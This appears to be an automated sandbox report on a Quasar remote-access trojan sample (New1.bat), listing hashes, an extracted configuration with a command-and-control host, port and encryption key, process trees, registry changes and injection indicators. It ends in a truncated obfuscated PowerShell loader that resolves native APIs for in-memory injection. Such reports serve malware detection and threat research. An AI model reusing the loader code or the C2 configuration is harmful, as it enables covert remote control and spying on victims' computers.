quasar | 3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308

Analysis

max time kernel
300s
max time network
293s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
28-05-2024 13:42

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General

Target

New1.bat
Size

1002KB
MD5

f6d5bfaee8a55ff72c7b453fda066d62
SHA1

7d737d53013990e5d05076b7206e43eb4793fc7f
SHA256

3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308
SHA512

e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284
SSDEEP

12288:NzPPeJOTZMGuIl99I2FxGwvYXDSeengmfn5tKvy0H5JbcGfRZIJZ32hxnQxCGaF9:NDeYum99IGP8f2rRO5JFPIJZ8GaF8XmB

Score

10^/10

quasar video execution spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

reconnect_delay
3000

Extracted

Family

quasar

Version

3.1.5

Botnet

Video

runderscore00-25501.portmap.host:25501

Mutex

$Sxr-oWTh3ZS9htfe80iIl5

Attributes

encryption_key
zK8u0rpHf4TJzGf65Flt
install_name
Win11.exe
log_directory
$sxr-Logs
reconnect_delay
3000
startup_key
Windows 11 Boot
subdirectory
Win11

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 4 IoCs

Processes:

resource	yara_rule
behavioral3/memory/4964-22-0x00000000089D0000-0x0000000008AC2000-memory.dmp	family_quasar
behavioral3/memory/3448-79-0x0000000008E60000-0x0000000008ECC000-memory.dmp	family_quasar
behavioral3/memory/2888-98-0x0000000000900000-0x000000000096C000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Local\Temp\New.exe	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 1916 created 640 1916 powershell.EXE winlogon.exe
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

4 3448 powershell.exe
5 3448 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

4964 powershell.exe
2404 powershell.exe
3448 powershell.exe

description	pid	process	target process
PID 1916 created 640	1916	powershell.EXE	winlogon.exe

flow	pid	process
4	3448	powershell.exe
5	3448	powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 2 IoCs

Processes:

Install.exeNew.exe

pid process

4872 Install.exe
2888 New.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

2 ip-api.com

pid	process
4872	Install.exe
2888	New.exe

flow	ioc
2	ip-api.com

Drops file in System32 directory 13 IoCs

Processes:

powershell.EXEsvchost.exeOfficeClickToRun.exesvchost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 1916 set thread context of 1864 1916 powershell.EXE dllhost.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

SCHTASKS.exe

pid process

1392 SCHTASKS.exe

description	pid	process	target process
PID 1916 set thread context of 1864	1916	powershell.EXE	dllhost.exe

pid	process
1392	SCHTASKS.exe

Modifies data under HKEY_USERS 53 IoCs

Processes:

powershell.EXEOfficeClickToRun.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe

Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\Local Settings powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.EXEdllhost.exewmiprvse.exe

pid	process
4964	powershell.exe
4964	powershell.exe
2404	powershell.exe
2404	powershell.exe
3448	powershell.exe
3448	powershell.exe
1916	powershell.EXE
1916	powershell.EXE
1916	powershell.EXE
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
3448	powershell.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
3448	powershell.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
3448	powershell.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
2968	wmiprvse.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
3448	powershell.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe
1864	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

3228 Explorer.EXE

pid	process
3228	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4964	powershell.exe
Token: SeDebugPrivilege	2404	powershell.exe
Token: SeIncreaseQuotaPrivilege	2404	powershell.exe
Token: SeSecurityPrivilege	2404	powershell.exe
Token: SeTakeOwnershipPrivilege	2404	powershell.exe
Token: SeLoadDriverPrivilege	2404	powershell.exe
Token: SeSystemProfilePrivilege	2404	powershell.exe
Token: SeSystemtimePrivilege	2404	powershell.exe
Token: SeProfSingleProcessPrivilege	2404	powershell.exe
Token: SeIncBasePriorityPrivilege	2404	powershell.exe
Token: SeCreatePagefilePrivilege	2404	powershell.exe
Token: SeBackupPrivilege	2404	powershell.exe
Token: SeRestorePrivilege	2404	powershell.exe
Token: SeShutdownPrivilege	2404	powershell.exe
Token: SeDebugPrivilege	2404	powershell.exe
Token: SeSystemEnvironmentPrivilege	2404	powershell.exe
Token: SeRemoteShutdownPrivilege	2404	powershell.exe
Token: SeUndockPrivilege	2404	powershell.exe
Token: SeManageVolumePrivilege	2404	powershell.exe
Token: 33	2404	powershell.exe
Token: 34	2404	powershell.exe
Token: 35	2404	powershell.exe
Token: 36	2404	powershell.exe
Token: SeIncreaseQuotaPrivilege	2404	powershell.exe
Token: SeSecurityPrivilege	2404	powershell.exe
Token: SeTakeOwnershipPrivilege	2404	powershell.exe
Token: SeLoadDriverPrivilege	2404	powershell.exe
Token: SeSystemProfilePrivilege	2404	powershell.exe
Token: SeSystemtimePrivilege	2404	powershell.exe
Token: SeProfSingleProcessPrivilege	2404	powershell.exe
Token: SeIncBasePriorityPrivilege	2404	powershell.exe
Token: SeCreatePagefilePrivilege	2404	powershell.exe
Token: SeBackupPrivilege	2404	powershell.exe
Token: SeRestorePrivilege	2404	powershell.exe
Token: SeShutdownPrivilege	2404	powershell.exe
Token: SeDebugPrivilege	2404	powershell.exe
Token: SeSystemEnvironmentPrivilege	2404	powershell.exe
Token: SeRemoteShutdownPrivilege	2404	powershell.exe
Token: SeUndockPrivilege	2404	powershell.exe
Token: SeManageVolumePrivilege	2404	powershell.exe
Token: 33	2404	powershell.exe
Token: 34	2404	powershell.exe
Token: 35	2404	powershell.exe
Token: 36	2404	powershell.exe
Token: SeIncreaseQuotaPrivilege	2404	powershell.exe
Token: SeSecurityPrivilege	2404	powershell.exe
Token: SeTakeOwnershipPrivilege	2404	powershell.exe
Token: SeLoadDriverPrivilege	2404	powershell.exe
Token: SeSystemProfilePrivilege	2404	powershell.exe
Token: SeSystemtimePrivilege	2404	powershell.exe
Token: SeProfSingleProcessPrivilege	2404	powershell.exe
Token: SeIncBasePriorityPrivilege	2404	powershell.exe
Token: SeCreatePagefilePrivilege	2404	powershell.exe
Token: SeBackupPrivilege	2404	powershell.exe
Token: SeRestorePrivilege	2404	powershell.exe
Token: SeShutdownPrivilege	2404	powershell.exe
Token: SeDebugPrivilege	2404	powershell.exe
Token: SeSystemEnvironmentPrivilege	2404	powershell.exe
Token: SeRemoteShutdownPrivilege	2404	powershell.exe
Token: SeUndockPrivilege	2404	powershell.exe
Token: SeManageVolumePrivilege	2404	powershell.exe
Token: 33	2404	powershell.exe
Token: 34	2404	powershell.exe
Token: 35	2404	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

powershell.exe

pid process

3448 powershell.exe

pid	process
3448	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exepowershell.exeWScript.execmd.exepowershell.exeNew.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 1096 wrote to memory of 4964	1096	cmd.exe	powershell.exe
PID 1096 wrote to memory of 4964	1096	cmd.exe	powershell.exe
PID 1096 wrote to memory of 4964	1096	cmd.exe	powershell.exe
PID 4964 wrote to memory of 2404	4964	powershell.exe	powershell.exe
PID 4964 wrote to memory of 2404	4964	powershell.exe	powershell.exe
PID 4964 wrote to memory of 2404	4964	powershell.exe	powershell.exe
PID 4964 wrote to memory of 2700	4964	powershell.exe	WScript.exe
PID 4964 wrote to memory of 2700	4964	powershell.exe	WScript.exe
PID 4964 wrote to memory of 2700	4964	powershell.exe	WScript.exe
PID 2700 wrote to memory of 4160	2700	WScript.exe	cmd.exe
PID 2700 wrote to memory of 4160	2700	WScript.exe	cmd.exe
PID 2700 wrote to memory of 4160	2700	WScript.exe	cmd.exe
PID 4160 wrote to memory of 3448	4160	cmd.exe	powershell.exe
PID 4160 wrote to memory of 3448	4160	cmd.exe	powershell.exe
PID 4160 wrote to memory of 3448	4160	cmd.exe	powershell.exe
PID 3448 wrote to memory of 4872	3448	powershell.exe	Install.exe
PID 3448 wrote to memory of 4872	3448	powershell.exe	Install.exe
PID 3448 wrote to memory of 4872	3448	powershell.exe	Install.exe
PID 3448 wrote to memory of 2888	3448	powershell.exe	New.exe
PID 3448 wrote to memory of 2888	3448	powershell.exe	New.exe
PID 3448 wrote to memory of 2888	3448	powershell.exe	New.exe
PID 2888 wrote to memory of 1392	2888	New.exe	SCHTASKS.exe
PID 2888 wrote to memory of 1392	2888	New.exe	SCHTASKS.exe
PID 2888 wrote to memory of 1392	2888	New.exe	SCHTASKS.exe
PID 1916 wrote to memory of 1864	1916	powershell.EXE	dllhost.exe
PID 1916 wrote to memory of 1864	1916	powershell.EXE	dllhost.exe
PID 1916 wrote to memory of 1864	1916	powershell.EXE	dllhost.exe
PID 1916 wrote to memory of 1864	1916	powershell.EXE	dllhost.exe
PID 1916 wrote to memory of 1864	1916	powershell.EXE	dllhost.exe
PID 1916 wrote to memory of 1864	1916	powershell.EXE	dllhost.exe
PID 1916 wrote to memory of 1864	1916	powershell.EXE	dllhost.exe
PID 1916 wrote to memory of 1864	1916	powershell.EXE	dllhost.exe
PID 1864 wrote to memory of 640	1864	dllhost.exe	winlogon.exe
PID 1864 wrote to memory of 700	1864	dllhost.exe	lsass.exe
PID 1864 wrote to memory of 1000	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 560	1864	dllhost.exe	dwm.exe
PID 1864 wrote to memory of 900	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 1028	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 1036	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 1088	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 1148	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 1244	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 1252	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 1328	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 1372	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 1472	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 1544	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 1612	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 1636	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 1736	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 1744	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 1780	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 1856	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 1888	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 1972	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 1984	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 1520	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 1828	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 2092	1864	dllhost.exe	spoolsv.exe
PID 1864 wrote to memory of 2264	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 2416	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 2500	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 2508	1864	dllhost.exe	svchost.exe
PID 1864 wrote to memory of 2556	1864	dllhost.exe	svchost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:640

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:560

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{62580871-809d-4acd-8bc6-8c7116bf403e}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1864

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1000

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1028

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1148

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1244

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:FveygWzWfzez{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$RgHMHfomuIygpT,[Parameter(Position=1)][Type]$reztmTlFgm)$PCRfYmpIEQB=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+'e'+'f'+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'ed'+'D'+''+[Char](101)+'l'+[Char](101)+'ga'+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+'M'+'e'+''+[Char](109)+'o'+'r'+''+'y'+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+[Char](101)+'l'+'e'+'g'+[Char](97)+'teT'+[Char](121)+''+'p'+'e','Cl'+'a'+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+'i'+'c,S'+'e'+'a'+[Char](108)+''+'e'+''+'d'+''+[Char](44)+''+'A'+''+'n'+''+[Char](115)+'i'+[Char](67)+''+[Char](108)+''+'a'+'s'+'s'+','+'A'+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$PCRfYmpIEQB.DefineConstructor('RTS'+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+'a'+'l'+'N'+'a'+'m'+''+[Char](101)+',H'+[Char](105)+''+'d'+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$RgHMHfomuIygpT).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+'ti'+'m'+''+'e'+''+','+''+[Char](77)+'ana'+[Char](103)+''+[Char](101)+''+[Char](100)+'');$PCRfYmpIEQB.DefineMethod('In'+'v'+''+[Char](111)+'k'+[Char](101)+'','P'+[Char](117)+''+[Char](98)+''+'l'+'i'+'c'+''+','+''+[Char](72)+'id'+'e'+''+[Char](66)+''+'y'+''+[Char](83)+''+'i'+''+'g'+''+','+'Ne'+[Char](119)+''+[Char](83)+''+[Char](108)+''+'o'+''+[Char](116)+',Vi'+[Char](114)+''+[Char](116)+''+[Char](117)+''+'a'+'l',$reztmTlFgm,$RgHMHfomuIygpT).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+'m'+[Char](101)+''+','+''+[Char](77)+'an'+[Char](97)+''+'g'+''+[Char](101)+'d');Write-Output $PCRfYmpIEQB.CreateType();}$mLEOSOvHxyzZT=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+'s'+[Char](116)+''+'e'+''+'m'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType('Mi'+'c'+''+[Char](114)+''+[Char](111)+''+'s'+''+[Char](111)+''+'f'+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+'3'+[Char](50)+''+'.'+''+'U'+''+[Char](110)+'s'+[Char](97)+''+[Char](102)+''+'e'+''+[Char](78)+'a'+[Char](116)+'i'+'v'+''+[Char](101)+''+[Char](77)+''+'e'+''+'t'+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$XSODmByomeFYhI=$mLEOSOvHxyzZT.GetMethod('Ge'+[Char](116)+''+[Char](80)+''+[Char](114)+''+'o'+''+[Char](99)+''+[Char](65)+''+'d'+''+'d'+''+[Char](114)+''+[Char](101)+''+'s'+''+'s'+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+'b'+''+'l'+'ic'+','+''+[Char](83)+''+'t'+''+[Char](97)+''+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$JlGxeElggKGGKDqObkC=FveygWzWfzez @([String])([IntPtr]);$FTxdBemZQCPbOlMLVcPtpl=FveygWzWfzez 